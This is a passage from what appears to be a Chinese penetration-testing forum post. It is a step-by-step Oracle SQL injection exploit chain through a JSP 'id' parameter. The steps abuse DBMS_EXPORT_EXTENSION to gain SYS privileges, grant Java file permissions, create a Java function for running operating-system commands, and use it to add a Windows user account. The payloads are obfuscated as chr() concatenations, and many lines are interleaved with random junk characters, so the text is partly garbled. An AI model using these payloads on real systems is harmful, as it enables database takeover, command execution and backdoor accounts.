# q0 j1 z+ h) j9 R: nchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||$ p% N( `  |0 x: K6 ~+ H8 E
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
' p" M+ G, N9 Z/ {: I8 [( Uchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
7 Y' a% Y5 I2 Q, Z% Y% pchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
" n% C; t. u( I  Y% |8 zchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
0 C: P) s4 f& m4 m, r2 A) t; P. nchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||) G5 p$ o/ b( M7 w' t) A" \
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||3 ]2 b. v! }1 M2 I2 P) {
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||. E. V- }$ q$ y- t0 a
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||. J2 x, }) y# a% _
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||4 m% g9 _& T8 s( y) l
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||2 ~! O! R' N, o, X$ f
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
- `; V" o. z# J! F3 \9 b) [chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||0 k; ?$ w9 d3 a7 ~. V3 `7 Q
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||) }2 y, }" }6 [* ~' Y
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)6 I+ T* o/ x3 s' r8 {
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual# N" B/ B2 n* u0 `

( Z$ B# i7 J$ Z0 ~)7 k( j& R; E6 F* n) P, W) R( ~
3 U9 B% a9 g1 h% o
------------------------------0 N' Y6 t' t5 ]
. n5 Z  v& R: a
2.赋Java权限
0 f4 w& d2 ]$ O; a6 I8 B/xxx.jsp?id=1 and chr(49)<>chr(50)||(
7 F7 z# ]3 S* M* C: L, s, x/ h/ r( J' b; W( V. w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
- l( s8 \' k# z8 |! zchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
0 D' y% j3 N& p2 Ychr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||$ l  P' w3 @  s% i9 y: v
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||& V* Y- ~& ^' k) y  L! k
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||. T$ k+ q: b1 G- P% A
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
( F0 }! \3 M5 |& pchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
0 ~1 H6 q3 [3 I) }$ ]" s1 kchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||# U+ a" w/ F  T, k% w- f
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
! v$ M3 q& C$ u  s+ kchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
2 C5 Q3 V( I) Q$ |* W,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
# p' w& U4 u) G5 w, n: y" \# K  H: _8 D1 c: s7 h8 J7 K" [8 e
)
, u# V# Q6 }4 w1 |: e& z/ d, P6 r4 ~; X( K* S' C
readfile函数的ascii版就不写了,见谅。
0 D( G' p" Q* w* a' x0 Q7 @7 D4 [
% ?6 l2 W, W1 x3.创建函数% _: M- y4 E% v4 Q$ |
: q* M: m( O, w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),# L9 L% u/ d& W# T1 {
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||% c2 Q" l+ t# L* o
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
! ^5 Y) m' ?9 l0 q/ Ichr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
$ R: C( J! ]" r! P) p9 P( `chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
/ p9 r6 x: ]) v6 o7 Fchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
: k) g( s; x0 g& r4 Uchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||3 N* G" V/ o& H! y" D+ M
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
0 _  b; z# E) {( [* ~/ uchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||) r" k& H4 M: a
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
) ~. {' {( ~0 B' ichr(59)||chr(45)||chr(45)
* Y$ h+ w5 G) |( J9 c,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
% X7 B8 l! [/ @' l' o
4 W4 ~/ W+ Z5 c
4 |7 U- l0 y4 I
6 s7 Y/ P/ \# U! j' J& e& N+ N4.赋public执行函数的权限3 O) X' k/ v' y, c

8 g2 H* j1 X, tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
0 A. `2 E: h; }$ c- P  I1 W0 Z) U8 jchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||) {, z; d% R. p8 L- _
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||7 Z# E' U) P/ X2 E& n( k, E* I
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
) g" s9 s3 |) U$ @9 Dchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
/ g- O4 B! M9 v% e  f! Z1 }chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
" T; _$ P* l. G% A; B3 }chr(59)||chr(45)||chr(45)
2 S$ K8 Y' `/ J6 B/ j,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
( p- Q- i/ h* l& l) g: K! }# l+ n# [/ I0 @
1 @0 Y3 M- E6 b; I
4 q* c4 G; d7 d1 I$ f8 t. S6 i' D; S
5.执行命令:
) u% q) N+ E: J8 y# q& H% G
1 E/ r3 k( {# L/xxx.jsp?id=1 and chr(49)<>chr(32)||(
9 Q3 I/ z" c! Vselect sys.LinxRunCMD('cmd /c net user linx /add') from dual& ^& Q1 ^7 q! X. u+ ^
)- W- I" z: N; b; Y# u

, N( f& V4 n) _6 A: p% d
8 t' d5 c; k& f0 |3 q8 C3 u/xxx.jsp?id=1 and chr(49)<>chr(32)||(7 q' S8 h& Q) U/ u0 M0 G
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual: {/ R% t' a, s3 F4 `( Q/ l! u9 i" g
)
. e  r( D% A+ ^! {6 r




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2